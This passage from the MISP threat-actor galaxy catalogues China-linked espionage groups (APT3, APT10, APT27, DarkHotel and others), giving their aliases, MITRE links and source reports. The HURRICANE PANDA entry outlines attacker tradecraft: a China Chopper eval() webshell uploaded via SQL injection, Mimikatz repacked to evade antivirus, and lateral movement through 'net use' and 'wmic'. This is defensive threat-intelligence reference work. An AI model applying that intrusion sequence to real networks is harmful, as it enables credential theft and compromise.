APT2 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Putter Panda - G0024" with estimative-language:likelihood-probability="likely"

Table 18117. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://www.cfr.org/interactive/cyber-operations/putter-panda
https://attack.mitre.org/groups/G0024
https://www.mandiant.com/resources/insights/apt-groups
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

APT3

Symantec described UPS in 2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'

The tag is: *misp-galaxy:threat-actor="APT3"*

APT3 is also known as:

- GOTHIC PANDA
- TG-0110
- Group 6
- UPS
- Buckeye
- Boyusec

- BORON
- BRONZE MAYFAIR
- Red Sylvan
- Brocade Typhoon

View relationships graph

APT3 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT3 - G0022" with estimative-language:likelihood-probability="likely"

Table 18118. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html
https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://www.cfr.org/interactive/cyber-operations/apt-3
https://www.secureworks.com/research/threat-profiles/bronze-mayfair
https://www.mandiant.com/resources/insights/apt-groups
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

Storm-2603

The group Microsoft tracks as Storm-2603 is assessed with medium confidence to be a China-based threat actor. Microsoft has not identified links between Storm-2603 and other known Chinese threat actors. Microsoft tracks this threat actor in association with attempts to steal MachineKeys via the on-premises SharePoint vulnerabilities. Although Microsoft has observed this threat actor deploying Warlock and Lockbit ransomware in the past, Microsoft is currently unable to confidently assess the threat actor's objectives. Additional actors may use these exploits to target unpatched on-premises SharePoint systems, further emphasizing the need for organizations to implement mitigations and security updates immediately.

The tag is: *misp-galaxy:threat-actor="Storm-2603"*

Table 18119. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/

DarkHotel

Kaspersky described DarkHotel in a 2014 report as: '... DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crews most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'

The tag is: *misp-galaxy:threat-actor="DarkHotel"*

DarkHotel is also known as:

- DUBNIUM
- Fallout Team
- Karba
- Luder
- Nemim
- Nemin
- Tapaoux
- Pioneer
- Shadow Crane
- APT-C-06
- SIG25
- TUNGSTEN BRIDGE
- T-APT-02
- G0012
- ATK52
- Zigzag Hail

View relationships graph

DarkHotel has relationships with:

- similar: misp-galaxy:microsoft-activity-group="DUBNIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Zigzag Hail" with estimative-language:likelihood-probability="likely"

Table 18120. Table References

Links
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2
https://securelist.com/blog/research/66779/the-darkhotel-apt/
https://securelist.com/the-darkhotel-apt/66779/
https://web.archive.org/web/20160104165148/http://drops.wooyun.org/tips/11726
https://labs.bitdefender.com/wp-content/uploads/downloads/inexsmar-an-unusual-darkhotel-campaign/
https://www.cfr.org/interactive/cyber-operations/darkhotel
https://www.securityweek.com/darkhotel-apt-uses-new-methods-target-politicians
https://attack.mitre.org/groups/G0012/
https://www.secureworks.com/research/threat-profiles/tungsten-bridge
https://www.antiy.cn/research/notice&report/research_report/20200522.html

APT12

A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.

The tag is: *misp-galaxy:threat-actor="APT12"*

APT12 is also known as:

- NUMBERED PANDA
- TG-2754
- BeeBus
- Group 22
- DynCalc
- Calc Team
- DNSCalc
- Crimson Iron
- IXESHE
- BRONZE GLOBE
- Hexagon Typhoon

View relationships graph

APT12 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT12 - G0005" with estimative-language:likelihood-probability="likely"

Table 18121. Table References

Links
http://www.crowdstrike.com/blog/whois-numbered-panda/
https://www.cfr.org/interactive/cyber-operations/apt-12
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
https://www.secureworks.com/research/threat-profiles/bronze-globe
https://www.mandiant.com/resources/insights/apt-groups

APT16

Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.

The tag is: *misp-galaxy:threat-actor="APT16"*

APT16 is also known as:

- SVCMONDR
- G0023

Table 18122. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html
https://www.cfr.org/interactive/cyber-operations/apt-16
https://attack.mitre.org/groups/G0023
https://www.mandiant.com/resources/insights/apt-groups
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/

APT17

FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'

The tag is: *misp-galaxy:threat-actor="APT17"*

APT17 is also known as:

- Group 8
- AURORA PANDA
- Hidden Lynx
- Tailgater Team
- Dogfish
- BRONZE KEYSTONE
- G0025
- Group 72
- G0001
- Axiom
- HELIUM
- Heart Typhoon

View relationships graph

APT17 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"

Table 18123. Table References

Links
https://web.archive.org/web/20130924130243/https://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf
https://www.cfr.org/interactive/cyber-operations/apt-17
https://www.carbonblack.com/2013/02/08/bit9-and-our-customers-security/
https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware
https://web.archive.org/web/20130920000343/https://www.symantec.com/connect/blogs/hidden-lynx-professional-hackers-hire
https://www.recordedfuture.com/hidden-lynx-analysis/
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://attack.mitre.org/groups/G0025/
https://cfr.org/cyber-operations/axiom

https://attack.mitre.org/groups/G0001/
https://www.youtube.com/watch?v=NFJqD-LcpIg
https://www.mandiant.com/resources/insights/apt-groups

APT18

Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero - day exploit.'

The tag is: *misp-galaxy:threat-actor="APT18"*

APT18 is also known as:

- DYNAMITE PANDA
- TG-0416
- SCANDIUM
- PLA Navy
- Wekby
- G0026
- Satin Typhoon

View relationships graph

APT18 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="SAMURAI PANDA" with estimative-language:likelihood-probability="likely"

Table 18124. Table References

Links
https://threatpost.com/apt-gang-branches-out-to-medical-espionage-in-community-health-breach/107828
https://www.cfr.org/interactive/cyber-operations/apt-18
https://attack.mitre.org/groups/G0026
https://www.mandiant.com/resources/insights/apt-groups

APT19

Adversary group targeting financial, technology, non-profit organisations.

The tag is: *misp-galaxy:threat-actor="APT19"*

APT19 is also known as:

- DEEP PANDA
- Codoso
- WebMasters
- KungFu Kittens
- Black Vine
- TEMP.Avengers
- Group 13
- PinkPanther
- Shell Crew
- BRONZE FIRESTONE
- G0009
- G0073
- Pupa
- Sunshop Group
- Checkered Typhoon

View relationships graph

APT19 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Deep Panda - G0009" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT19 - G0073" with estimative-language:likelihood-probability="likely"

Table 18125. Table References

Links
http://cybercampaigns.net/wp-content/uploads/2013/06/Deep-Panda.pdf
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf
https://www.cfr.org/interactive/cyber-operations/deep-panda
https://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/

https://eromang.zataz.com/2013/01/02/capstone-turbine-corporation-also-targeted-in-the-cfr-watering-hole-attack-and-more/
https://www.crowdstrike.com/blog/department-labor-strategic-web-compromise/
https://www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/
https://krebsonsecurity.com/2015/06/catching-up-on-the-opm-breach/
https://krebsonsecurity.com/2015/02/anthem-breach-may-have-started-in-april-2014/
https://www.nextgov.com/cybersecurity/2015/05/third-party-software-was-entry-point-background-check-system-hack/112354/
https://www.crowdstrike.com/blog/ironman-deep-panda-uses-sakula-malware-target-organizations-multiple-sectors/
https://www.abc.net.au/news/2014-11-13/g20-china-affliliated-hackers-breaches-australian-media/5889442
https://www.washingtonpost.com/business/economy/keypoint-suffers-network-breach-thousands-of-fed-workers-could-be-affected/2014/12/18/e6c7146c-86e1-11e4-a702-fa31ff4ae98e_story.html
https://www.seattletimes.com/business/local-business/feds-warned-premera-about-security-flaws-before-breach/
https://krebsonsecurity.com/2015/05/carefirst-blue-cross-breach-hits-1-1m/
https://threatvector.cylance.com/en_us/home/shell-crew-variants-continue-to-fly-under-big-avs-radar.html
https://www.bleepingcomputer.com/news/security/us-arrests-chinese-man-involved-with-sakula-malware-used-in-opm-and-anthem-hacks/
https://gizmodo.com/u-s-indicts-chinese-hacker-spies-in-conspiracy-to-stea-1830111695
https://www.cyberscoop.com/anthem-breach-indictment-chinese-national/
https://docs.broadcom.com/doc/the-black-vine-cyberespionage-group
https://attack.mitre.org/groups/G0009/
https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks
http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/
https://www.nytimes.com/2016/06/12/technology/the-chinese-hackers-in-the-back-office.html
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf
https://www.mandiant.com/resources/insights/apt-groups
https://www.mandiant.com/resources/blog/phished-at-the-request-of-counsel
https://www.youtube.com/watch?v=FC9ARZIZglI

Naikon

Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries

such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'

The tag is: *misp-galaxy:threat-actor="Naikon"*

Naikon is also known as:

- PLA Unit 78020
- OVERRIDE PANDA
- Camerashy
- BRONZE GENEVA
- G0019
- Naikon
- BRONZE STERLING
- G0013

View relationships graph

Naikon has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"

Table 18126. Table References

Links
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf
https://usa.kaspersky.com/resource-center/threats/naikon-targeted-attacks
https://web.archive.org/web/20210925164035/https://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/
https://threatconnect.com/blog/tag/naikon/
https://attack.mitre.org/groups/G0019/
https://www.secureworks.com/research/threat-profiles/bronze-geneva
https://cyware.com/news/chinese-naikon-group-back-with-new-espionage-attack-66a8413d
https://cluster25.io/2022/04/29/lotus-panda-awake-last-strike/
https://www.mandiant.com/resources/insights/apt-groups

https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

APT30

APT30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches

The tag is: *misp-galaxy:threat-actor="APT30"*

APT30 is also known as:

- G0013

View relationships graph

APT30 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Raspberry Typhoon" with estimative-language:likelihood-probability="likely"

Table 18127. Table References

Links
https://attack.mitre.org/wiki/Group/G0013
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.mandiant.com/resources/insights/apt-groups

LOTUS PANDA

Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia.

The tag is: *misp-galaxy:threat-actor="LOTUS PANDA"*

LOTUS PANDA is also known as:

- Spring Dragon
- ST Group
- DRAGONFISH
- BRONZE ELGIN
- ATK1
- G0030
- Red Salamander
- Lotus BLossom

- Billbug
- Lotus Blossom

View relationships graph

LOTUS PANDA has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Lotus Blossom - G0030" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Raspberry Typhoon" with estimative-language:likelihood-probability="likely"

Table 18128. Table References

Links
https://securelist.com/blog/research/70726/the-spring-dragon-apt/
https://securelist.com/spring-dragon-updated-activity/79067/
https://www.cfr.org/interactive/cyber-operations/lotus-blossom
https://unit42.paloaltonetworks.com/operation-lotus-blossom/
https://www.accenture.com/t00010101T000000Z*w*/gb-en/_acnmedia/PDF-46/Accenture-Security-Elise-Threat-Analysis.pdf
https://unit42.paloaltonetworks.com/attack-on-french-diplomat-linked-to-operation-lotus-blossom/
https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting
https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf
https://attack.mitre.org/groups/G0030/
https://www.secureworks.com/research/threat-profiles/bronze-elgin
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://fortiguard.fortinet.com/threat-signal-report/4879
http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments-cert-authority

HURRICANE PANDA

We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone. HURRICANE PANDA's preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an 'eval()' command, which is then used to

provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence. Once inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via 'net use' and 'wmic' commands executed through the webshell terminal.

The tag is: *misp-galaxy:threat-actor="HURRICANE PANDA"*

Table 18129. Table References

Links
http://www.crowdstrike.com/blog/cyber-deterrence-in-action-a-story-of-one-long-hurricane-panda-campaign/
https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/
https://www.crowdstrike.com/blog/storm-chasing/
https://www.crowdstrike.com/blog/cyber-deterrence-in-action-a-story-of-one-long-hurricane-panda-campaign/

APT27

A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.

The tag is: *misp-galaxy:threat-actor="APT27"*

APT27 is also known as:

- GreedyTaotie
- TG-3390
- EMISSARY PANDA
- TEMP.Hippo
- Red Phoenix
- Budworm
- Group 35
- ZipToken
- Iron Tiger
- BRONZE UNION
- Lucky Mouse
- G0027
- Iron Taurus

- Earth Smilodon
- Circle Typhoon
- Linen Typhoon

View relationships graph

APT27 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027" with estimative-language:likelihood-probability="likely"

Table 18130. Table References

Links
https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf
https://web.archive.org/web/20140129192702/https://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/
https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/
https://www.bitdefender.com/files/News/CaseStudies/study/185/Bitdefender-Business-2017-WhitePaper-PZCHAO-crea2452-en-EN-GenericUse.pdf
https://www.cfr.org/interactive/cyber-operations/iron-tiger
https://www.bleepingcomputer.com/news/security/chinese-cyber-espionage-group-hacked-government-data-center/
https://www.secureworks.com/research/bronze-union
http://newsroom.trendmicro.com/blog/operation-iron-tiger-attackers-shift-east-asia-united-states
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/
https://securelist.com/luckymouse-ndisproxy-driver/87914/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/2015.09.17.Operation_Iron_Tiger/Operation%20Iron%20Tiger%20Appendix.pdf
https://arstechnica.com/information-technology/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
https://securelist.com/luckymouse-hits-national-data-center/86083/
https://attack.mitre.org/groups/G0027/
https://www.secureworks.com/research/threat-profiles/bronze-union
https://unit42.paloaltonetworks.com/atoms/iron-taurus/
https://www.mandiant.com/resources/insights/apt-groups

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

APT10

menuPass is a threat group that has been active since at least 2006. Individual members of menuPass are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.

The tag is: *misp-galaxy:threat-actor="APT10"*

APT10 is also known as:

- STONE PANDA
- Menupass Team
- happyyongzi
- POTASSIUM
- Red Apollo
- CVNX
- HOGFISH
- Cloud Hopper
- BRONZE RIVERSIDE
- ATK41
- G0045
- Granite Taurus
- TA429
- Cicada
- Purple Typhoon

View relationships graph

APT10 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="menuPass - G0045" with estimative-language:likelihood-probability="likely"

Table 18131. Table References

Links

https://unit42.paloaltonetworks.com/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.cfr.org/interactive/cyber-operations/apt-10
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://www.eweek.com/security/chinese-nation-state-hackers-target-u.s-in-operation-tradesecret
https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/
https://www.accenture.com/t20180423T055005Z_w/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf
https://www.us-cert.gov/sites/default/files/publications/IR-ALERT-MED-17-093-01C-Intrusions_Affecting_Multiple_Victims_Across_Multiple_Sectors.pdf
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html
https://www.fbi.gov/news/stories/chinese-hackers-indicted-122018
https://attack.mitre.org/groups/G0045/
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://unit42.paloaltonetworks.com/atoms/granite-taurus
https://www.mandiant.com/resources/insights/apt-groups
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new
https://www.crowdstrike.com/blog/two-birds-one-stone-panda/
http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks

Hellsing

This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage

The tag is: *misp-galaxy:threat-actor="Hellsing"*

Table 18132. Table References

Links
https://www.cfr.org/interactive/cyber-operations/hellsing
https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/

Night Dragon

The tag is: *misp-galaxy:threat-actor="Night Dragon"*

Night Dragon is also known as:

- G0014

View relationships graph

Night Dragon has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Night Dragon - G0014" with estimative-language:likelihood-probability="likely"

Table 18133. Table References

Links
https://kc.mcafee.com/corporate/index?page=content&id=KB71150
https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf
https://attack.mitre.org/groups/G0014/

APT15

This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.

The tag is: *misp-galaxy:threat-actor="APT15"*

APT15 is also known as:

- VIXEN PANDA
- Ke3Chang
- Playful Dragon
- Metushy
- Lurid
- Social Network Team
- Royal APT

- BRONZE PALACE
- BRONZE DAVENPORT
- BRONZE IDLEWOOD
- NICKEL
- G0004
- Red Vulture
- Nylon Typhoon
- Mirage

View relationships graph

APT15 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Nylon Typhoon" with estimative-language:likelihood-probability="likely"

Table 18134. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html
http://arstechnica.com/security/2015/04/elite-cyber-crime-group-strikes-back-after-attack-by-rival-apt-gang/
https://github.com/nccgroup/Royal_APT
https://www.cfr.org/interactive/cyber-operations/mirage
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf
https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/
https://attack.mitre.org/groups/G0004/
https://www.secureworks.com/research/threat-profiles/bronze-palace
https://www.mandiant.com/resources/insights/apt-groups
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

APT14

PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. Not surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.

The tag is: *misp-galaxy:threat-actor="APT14"*

APT14 is also known as:

- ANCHOR PANDA
- QAZTeam
- ALUMINUM

View relationships graph

APT14 has relationships with:

- uses: misp-galaxy:rat="Gh0st RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Gh0st Rat" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Torn RAT" with estimative-language:likelihood-probability="likely"

Table 18135. Table References

Links
http://www.crowdstrike.com/blog/whois-anchor-panda/
https://www.cfr.org/interactive/cyber-operations/anchor-panda
https://www.mandiant.com/resources/insights/apt-groups

APT21

The tag is: *misp-galaxy:threat-actor="APT21"*

APT21 is also known as:

- HAMMER PANDA
- TEMP.Zhenbao
- NetTraveler

Table 18136. Table References

Links
https://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/
https://www.cfr.org/interactive/cyber-operations/nettraveler
https://www.kaspersky.com/about/press-releases/2013_kaspersky-lab-uncovers—operation-nettraveler—a-global-cyberespionage-campaign-targeting-government-affiliated-organizations-and-research-institutes
https://www.kaspersky.com/about/press-releases/2014_nettraveler-gets-a-makeover-for-10th-anniversary
https://unit42.paloaltonetworks.com/nettraveler-spear-phishing-email-targets-diplomat-of-uzbekistan/
https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests
http://www.darkreading.com/endpoint/chinese-cyberspies-pivot-to-russia-in-wake-of-obama-xi-pact/d/d-id/1324242
https://www.mandiant.com/resources/insights/apt-groups

DAGGER PANDA

Operate since at least 2011, from several locations in China, with members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.

The tag is: *misp-galaxy:threat-actor="DAGGER PANDA"*

DAGGER PANDA is also known as:

- IceFog
- Trident
- RedFoxtrot
- Red Wendigo
- PLA Unit 69010
- UAT-7290
- Red Foxtrot

Table 18137. Table References

Links
https://securelist.com/the-icefog-apt-a-tale-of-cloak-and-three-daggers/57331/
https://securelist.com/the-icefog-apt-hits-us-targets-with-java-backdoor/58209/

https://www.cfr.org/interactive/cyber-operations/icefog
https://d2538mqrb7brka.cloudfront.net/wp-content/uploads/sites/43/2018/03/20133739/icefog.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://blog.talosintelligence.com/uat-7290/

APT24

The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials

The tag is: *misp-galaxy:threat-actor="APT24"*

APT24 is also known as:

- PITTY PANDA
- G0011
- Temp.Pittytiger

View relationships graph

APT24 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PittyTiger - G0011" with estimative-language:likelihood-probability="likely"

Table 18138. Table References

Links
http://blog.airbuscybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2
http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/2014.07.11.Pitty_Tiger/Pitty_Tiger_Final_Report.pdf
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html
https://attack.mitre.org/groups/G0011
https://www.mandiant.com/resources/insights/apt-groups

Roaming Tiger

The tag is: *misp-galaxy:threat-actor="Roaming Tiger"*

Roaming Tiger is also known as:

- BRONZE WOODLAND
- Rotten Tomato

Table 18139. Table References

Links
https://unit42.paloaltonetworks.com/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/
http://2014.zeronights.org/assets/files/slides/roaming_tiger_zeronights_2014.pdf
https://www.secureworks.com/research/threat-profiles/bronze-woodland

Beijing Group

The tag is: *misp-galaxy:threat-actor="Beijing Group"*

Beijing Group is also known as:

- SNEAKY PANDA
- Elderwood
- Elderwood Gang
- SIG22
- G0066

View relationships graph

Beijing Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Elderwood - G0066" with estimative-language:likelihood-probability="likely"

Table 18140. Table References

Links
https://www.cfr.org/interactive/cyber-operations/sneaky-panda
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=3b0d679a-3707-4075-a2a9-37d1af16d411&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://attack.mitre.org/groups/G0066/

RADIO PANDA

The tag is: *misp-galaxy:threat-actor="RADIO PANDA"*

RADIO PANDA is also known as:

- Shrouded Crossbow

APT.3102

The tag is: *misp-galaxy:threat-actor="APT.3102"*

Table 18141. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/

